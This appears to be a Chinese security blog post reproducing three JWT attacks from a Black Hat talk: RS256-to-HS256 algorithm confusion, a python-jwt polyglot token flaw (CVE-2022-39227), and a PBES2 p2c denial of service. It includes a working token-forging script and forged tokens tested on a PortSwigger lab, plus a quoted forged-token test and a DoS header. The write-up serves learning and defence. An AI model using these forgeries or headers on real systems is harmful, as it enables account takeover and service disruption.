戳上面的蓝字关注我吧!
01 前言
—
最近看到去年的BlackHat针对JWT的三种新攻击方式的议题,介绍了三种关于JWT的新攻击方式,便想着复现一下学习学习。
02 名词解释
—
03 Three New Attacks
—
作者首先介绍了签名加密的混淆算法攻击,在RFC 7519里面允许JWT可以以签名(JWS)和加密(JWE)的形式进行验证,而通常验证的时候可以采用对称加密算法和非对称加密算法进行签名。
整个流程就跟对称加密的JWT一样,签发是通过私钥来进行加密,之后在验证Token的时候再用对应的公钥解密即可。
这种攻击方式是由于开发人员对加密算法的了解不够导致的,如使用常见的加密方式RS256等非对称来签名JWT数据的时候,就会存在安全风险。
作者用python的authlib库举了下面这个例子,案例中读取了jwk的
from authlib.jose import jwt, JsonWebKey
from time import time
import json
with open('rsa-key.jwk','r') as keyfile:
key = JsonWebKey.import_key(json.load(keyfile))
header = {'alg': 'RS256'}
payload = {'iss': 'secure-issuer','sub':'admin','exp': round(time()) + 3600}
token = jwt.encode(header, payload, key).decode()
print(token)
代码主要读取了rsa-key.jwk的密钥文件把Payload部分进行加密生成token,来模拟用户登录成功后服务器颁发的token。
生成jwk的网站我这里用的https://mkjwk.org
执行后得到如下token信息:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImFkbWluIn0.eyJpc3MiOiJzZWN1cmUtaXNzdWVyIiwic3ViIjoiYWRtaW4iLCJleHAiOjE3MDU4MzMyOTJ9.CysrhQk9dAYx36UPAIlzwTSBbhIaeTxbzVF6a5BbRTZoiJJ1VJLhP4qS_j-OAFFTsUt4pgOmVHl-INReaJfDyQQXcUmXgCqHKZGro5o5KIDzJRIU7dyKAI4kHZM4EIGoGr_938yxkZNNsqJwWzLaZkvko2jNKZ_pZdXx4klJJaSvpk82C8Q2Uxogb9gDAckE6aifaJhixhzs5qdSuBt9iTIGv4Z6T_isxxsr1DoiOMxurxpMHacxXO9mkdBBwcDhilU88WKkedFVFV5EOcvPxdFMZ2n282b7P3RItreZOd7VsfZyfOIE6vJgnUlHpZJTW7t3nJguky1usQqI-uQ6_g
因为这里使用了RS256加密,同样可以用另一个脚本来验证这个token的完整性
from authlib.jose import jwt,JsonWebKey
import sys, json
with open('rsa-key.jwk','r') as keyfile:
key = JsonWebKey.import_key(json.load(keyfile))
with open('token.file','r') as tokenfile:
token = tokenfile.read().replace('\n', '')
claims = jwt.decode(token, key)
claims.validate()
print(claims['sub'])
程序的大概逻辑是读取token.file文件中的内容并验证该token是否正确
作者提供了一种可以通过PKCS#1 v1.5的两个不同的Token签名来计算出RSA公钥的思路:https://github.com/SecuraBV/jws2pubkey
修改sample-jws文件夹目录下的两个txt文件,分别为不同的RSA类型的JWS签名,之后直接使用-f参数指定读取的文本内容
./jws2pubkey.py -f sample-jws/sample{1,2}.txt | tee pubkey.jwk
当然,计算出公钥肯定还是没办法直接利用的,因为JWS的签名是由私钥进行的,因此想要完成此次攻击就需要将公钥转换成PEM并重新给Payload签名伪造,同时更替RS算法为HS类型。
由于作者给出的计算脚本并没有将publicKey转换成PEM的部分,所以我这里又写了一个脚本专门将公钥转换成PEM并重新签名:
import jwt
import base64
import binascii
import hmac
import hashlib
import six
import json
import struct
from time import time
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
def genPartialJWT(payload):
encoded_jwt = jwt.encode(payload, '', algorithm='HS256')
if isinstance(encoded_jwt, bytes):
encoded_jwt_data = encoded_jwt.decode()
else:
encoded_jwt_data = encoded_jwt
array = encoded_jwt_data.split(".")
partial_jwt = array[0] + "." + array[1]
return partial_jwt
def sign_jwt(partial_jwt, hex_pub_key):
key = bytes.fromhex(hex_pub_key)
message = partial_jwt.encode('utf-8')
signature = hmac.new(key, message, hashlib.sha256).hexdigest()
return signature
def buildJWT(sign, partial_jwt):
b64_sign = (base64.urlsafe_b64encode(binascii.a2b_hex(sign))).decode('utf-8').replace('=','')
new_jwt = partial_jwt + "." + b64_sign
return new_jwt
def intarr2long(arr):
return int(''.join(["%02x" % byte for byte in arr]), 16)
def base64_to_long(data):
if isinstance(data, six.text_type):
data = data.encode("ascii")
# urlsafe_b64decode will happily convert b64encoded data
_d = base64.urlsafe_b64decode(bytes(data) + b'==')
return intarr2long(struct.unpack('%sB' % len(_d), _d))
def jwk2base64pem(jwk):
exponent = base64_to_long(jwk['e'])
modulus = base64_to_long(jwk['n'])
numbers = RSAPublicNumbers(exponent, modulus)
public_key = numbers.public_key(backend=default_backend())
pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
return pem
#if __name__ == '__main__':
def buildJwtToken(jwkJson):
json_jwk_load = json.loads(jwkJson)
#jwkJson = {"kty": "RSA", "n": "jvBtqsGCOmnYzwe_-HvgOqlKk6HPiLEzS6uCCcnVkFXrhnkPMZ-uQXTR0u-7ZklF0XC7-AMW8FQDOJS1T7IyJpCyeU4lS8RIf_Z8RX51gPGnQWkRvNw61RfiSuSA45LR5NrFTAAGoXUca_lZnbqnl0td-6hBDVeHYkkpAsSck1NPhlcsn-Pvc2Vleui_Iy1U2mzZCM1Vx6Dy7x9IeP_rTNtDhULDMFbB_JYs-Dg6Zd5Ounb3mP57tBGhLYN7zJkN1AAaBYkElsc4GUsGsUWKqgteQSXZorpf6HdSJsQMZBDd7xG8zDDJ28hGjJSgWBndRGSzQEYU09Xbtzk-8khPuw", "e": "AQAB"}
pem = jwk2base64pem(json_jwk_load)
payload = {"iss": "secure-issuer","sub": "admin","exp": round(time()) + 3600}
partial_jwt = genPartialJWT(payload)
hex_pub_key = pem.hex()
sign = sign_jwt(partial_jwt,hex_pub_key)
new_jwt = buildJWT(sign, partial_jwt)
print(new_jwt)
入口函数就直接调用buildJwtToken,参数jwkJson就是作者的脚本跑出来的公钥内容。运行上述代码之后,会将公钥转换成PEM并hex编码交由hmac重新进行签名。
跑出来后得出token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJzZWN1cmUtaXNzdWVyIiwic3ViIjoiYWRtaW4iLCJleHAiOjE3MDU4NTQ4OTd9.T1QCz2h94iYwnPsZ2Twv60QPRd9kFZZdBz4ktHdJNAw
我这里用burp官方给出的靶场进行测试:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
注册账户登录之后进入到靶场页面
是一个博客的界面,可以通过wiener:peter的一个普通用户账号登录到系统
这里可以拿到系统对应的JWT,重复登录两次获取到不同的JWT Token
eyJraWQiOiIxN2NjY2EzMi0yNWI3LTRjNmItYWYyMi0zODRkODlhN2JjY2UiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNjM2ODAwNX0.gXrabIF6iIiSLL6423T3oMK-XI-QluOgTl-eYa7ioFLOVLhmI7wCrNE9OPkLJ9nZFDXcXzWosl2qXrB3AvSTAtK2uF7J0FLE-TOej-Gk_yvjEbCYZ6hBhfnBV556urCW_oYwYCxZWya69CNKgQF7ggVFXY2K2imh5y1lZYWKi993ooA7jaHkn3SD-wa1oQp5ob7SCV3Q2Q9FebbjOPbwHFb2kVOsLjTXlq9bu_AZtoMpatulwQu_EQLCFIUj-Um9msWz_n-yTHvJ9mn00GaFx9E6WH2QfbzdjZwn-Pdm7MiwABV1v9r59rTRhlGwmLWFvYbLw2RFvl_R24xd3uyjXA
eyJraWQiOiIxN2NjY2EzMi0yNWI3LTRjNmItYWYyMi0zODRkODlhN2JjY2UiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNjM2ODEwN30.XBkAhu_u6rDnLc6an6MO52T6W6ZuyKtagGO6RnbZJgoCMyZRYUZOuuMZtY7CKBujiSROdAprHkzeBtRiqmcwNa56SPRk4h4E-m99oRqr_-1uBNksQdPYEofYeSZrGlO46B3QxyFL7ENWWIcs0Mt_TXvwc8Pk7mvSu1k_l4HqGLY_86IV1ugvvl4Ce-GhTpFPm4u230_369eQ7nE9o-GVdnIx6DYj3uPxNMeT_xF4IEoKni444sxP-YEw9s998wN1oWuVtiRgsWuEj_WckZWZeE7WKlw_eOQkNIFWL6ga2k_k7Je9R-v7DpVprxuCg2D9vy5YOQTxHDfn4pG8nCzAzg
解码之后看到目标采用的正是RS256算法
用前面的脚本计算公钥并转换成PEM再签名,记得还需将payload换成如下内容
payload = {"iss": "portswigger","sub": "administrator","exp": round(time()) + 3600}
并把sample.txt中的token进行替换
替换完成后成功显示administrator的用户权限,完成攻击
这种攻击方式不同于其他的,这是一种库类解析时存在的代币攻击。
比如原先的Token为AAAA.BBBB.CCCC的形式
因此对应的JWS的格式就是
{
"protected": "AAAA",
"payload": "BBBB",
"signature": "CCCC"
}
但是在python-jwt中有个关键代码 jwt.split('.') 分割了字符串,导致使用如下JWS的时候会造成差异解析
{
"AAAA":".XXXX.",
"protected": "AAAA",
"payload": "BBBB",
"signature": "CCCC"
}
而这种攻击方式,也有对应的CVE编号CVE-2022-39227
这个具体的攻击操作由BenBenben师傅在打祥云杯初赛的时候有遇到的[7],先来看修复该漏洞的Commit关键验证代码
https://github.com/davedoesdev/python-jwt/blob/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9/test/vulnerability_vows.py
""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
@Vows.batch
class ForgedClaims(Vows.Context):
""" Check we get an error when payload is forged using mix of compact and JSON formats """
def topic(self):
""" Generate token """
payload = {'sub': 'alice'}
return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
""" Make a forged token """
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['sub'] = 'bob'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
class Verify(Vows.Context):
""" Check the forged token fails to verify """
@Vows.capture_error
def topic(self, topic):
""" Verify the forged token """
return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r):
""" Check the token doesn't verify due to mixed format being detected """
expect(r).to_be_an_error()
expect(str(r)).to_equal('invalid JWT format')
从上面的PolyglotToken函数中将JWT Token拆分为header、payload、signature三个部分。
由于BenBenben师傅已经在文中给出详细的分析这里就不再过多赘述了,大致就是token在解析的时候先通过了token.deserialize函数来反序列化JWT Token,并将其当作了JWS来解析
而按照JWS的格式解析的Token,payload和signature依旧是修改fake_payload之前的数据,因此可以正常验证反序列化。
但漏洞就出在验证完成之后又使用了split(".")分割出来的payload部分,导致前后JWT验证格式不一,从而致使漏洞产生。
在JWE的标准中还支持通过PBES2算法进行基于密码的加密,其中有一个非常重要的参数指标p2c,该参数确定必须执行多少次 PBKDF2 迭代才能派生 CEK 包装密钥,此参数的目的是故意减慢密钥派生函数的速度,以使密码暴力破解和字典攻击的成本更加昂贵。
如[11]、[12]中的介绍漏洞示例,在JWT的标头中设置了很高的p2c值。
{
"alg":"PBES2-HS256+A128KW",
"enc":"A128CBC-HS256",
"kid":"test",
"p2c":2147483647,
"p2s":"hswH6ge-9XSq2KpCblM76g"
}
所以,完成此攻击需要满足下述三个条件:
JWT库类支持JWE封装好的PBES算法。
JWT库类的使用者没有为JWT验证的时候指定特定允许的算法。
JWT库类不使用单独的接口对密码进行计算,因此服务器需执行超过p2c指定次数的HASH散列计算,才能导出令牌中的密钥来确认该令牌是否有效。
04 Reference
—
[1].https://security.snyk.io/vuln/SNYK-PYTHON-PYTHONJWT-3029892
[2].https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9
[3].https://github.com/advisories/GHSA-5p8v-58qm-c7fp
[4].https://www.slashid.dev/blog/jwt-risks/
[5].https://bishopfox.com/blog/json-interoperability-vulnerabilities
[6].https://www.youtube.com/watch?v=mJ6BQ5eFkG4
[7].https://forum.butian.net/index.php/share/1990
[8].https://zhuanlan.zhihu.com/p/591537759
[9].https://zhuanlan.zhihu.com/p/629329256
[10].https://github.com/jpf/okta-jwks-to-pem/blob/master/jwks_to_pem.py
[11].https://deps.dev/advisory/osv/GO-2023-2334
[12].https://github.com/go-jose/go-jose/issues/64